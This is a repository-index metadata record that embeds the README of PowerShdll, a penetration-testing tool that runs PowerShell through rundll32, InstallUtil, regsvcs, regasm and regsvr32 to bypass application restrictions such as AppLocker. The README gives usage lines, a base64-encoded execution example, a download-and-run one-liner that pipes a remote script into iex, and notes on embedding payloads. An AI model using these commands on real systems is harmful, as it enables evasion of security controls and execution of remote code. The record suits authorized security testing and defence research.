{"id":13598296,"url":"https://github.com/p3nt4/PowerShdll","last_synced_at":"2025-04-10T06:31:36.721Z","repository":{"id":39545799,"uuid":"63378015","full_name":"p3nt4/PowerShdll","owner":"p3nt4","description":"Run PowerShell with rundll32. Bypass software restrictions.","archived":false,"fork":false,"pushed_at":"2021-03-17T02:02:23.000Z","size":908,"stargazers_count":1793,"open_issues_count":0,"forks_count":255,"subscribers_count":60,"default_branch":"master","last_synced_at":"2025-04-08T15:06:15.910Z","etag":null,"topics":["applocker","powershell","security"],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/p3nt4.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.md","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"github":["p3nt4"]}},"created_at":"2016-07-15T00:08:32.000Z","updated_at":"2025-04-04T20:06:53.000Z","dependencies_parsed_at":"2022-08-01T08:39:02.273Z","dependency_job_id":null,"html_url":"https://github.com/p3nt4/PowerShdll","commit_stats":null,"previous_names":[],"tags_count":5,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p3nt4%2FPowerShdll","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p3nt4%2FPowerShdll/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p3nt4%2FPowerShdll/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p3nt4%2FPowerShdll/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/p3nt4","download_url":"https://codeload.github.com/p3nt4/PowerShdll/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248168241,"owners_count":21058793,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["applocker","powershell","security"],"created_at":"2024-08-01T17:00:51.428Z","updated_at":"2025-04-10T06:31:36.675Z","avatar_url":"https://github.com/p3nt4.png","language":"C#","readme":"# PowerShdll\nRun PowerShell with dlls only.\n\nDoes not require access to powershell.exe as it uses powershell automation dlls.\n\nPowerShdll can be run with: rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe or as a standalone executable.\n\n## dll mode:\n\n### Rundll32:\n```\nUsage:\nrundll32 PowerShdll,main \u003cscript\u003e\nrundll32 PowerShdll,main -h      Display this message\nrundll32 PowerShdll,main -f \u003cpath\u003e       Run the script passed as argument\nrundll32 PowerShdll,main -w      Start an interactive console in a new window (Default)\nrundll32 PowerShdll,main -i      Start an interactive console in this console\nIf you do not have an interractive console, use -n to avoid crashes on output\n```\n### Alternatives (Credit to SubTee for these techniques):\n\n```\n1. \n    x86 - C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll\n    x64 - C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.3031964\\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll\n2. \n    x86 C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe PowerShdll.dll\n    x64 C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\regsvcs.exe PowerShdll.dll\n3. \n    x86 C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe /U PowerShdll.dll\n    x64 C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe /U PowerShdll.dll\n4. \n    regsvr32 /s  /u PowerShdll.dll --\u003eCalls DllUnregisterServer\n    regsvr32 /s PowerShdll.dll --\u003e Calls DllRegisterServer\n```\n\n## exe mode\n\n```\nUsage:\nPowerShdll.exe \u003cscript\u003e\nPowerShdll.exe -h      Display this message\nPowerShdll.exe -f \u003cpath\u003e       Run the script passed as argument\nPowerShdll.exe -i      Start an interactive console in this console (Default)\n```\n\n## Embeded payloads\n\nPayloads can be embeded by modifying the \"payload\" variable in the start method of the common.cs file. If a payload is embeded, all other varguments will be ignored and the payload will be executed upon running PowerShdll.\n\n## Examples\n### Run base64 encoded script\n```\nrundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(\"BASE64\")) ^| iex\n```\nNote: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode\n### Download and run script\n```\nrundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;\n```\n## Requirements\n * .Net v3.5 for dll mode.\n * .Net v2.0 for exe mode.\n\n## Known Issues\n\nSome errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure.\nMake sure you have typed your commands correctly.\n\nIn dll mode, interractive mode and command output rely on hijacking the parent process' console. If the parent process does not have a console, use the -n switch to not show output otherwise the application will crash.\n\nDue to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay.\n\n## Disclaimer\nThis project is intended for security researchers and penetration testers and should only be used with the approval of system owners.\n\n","funding_links":["https://github.com/sponsors/p3nt4"],"categories":["C# #","C# (212)"],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fp3nt4%2FPowerShdll","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fp3nt4%2FPowerShdll","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fp3nt4%2FPowerShdll/lists"}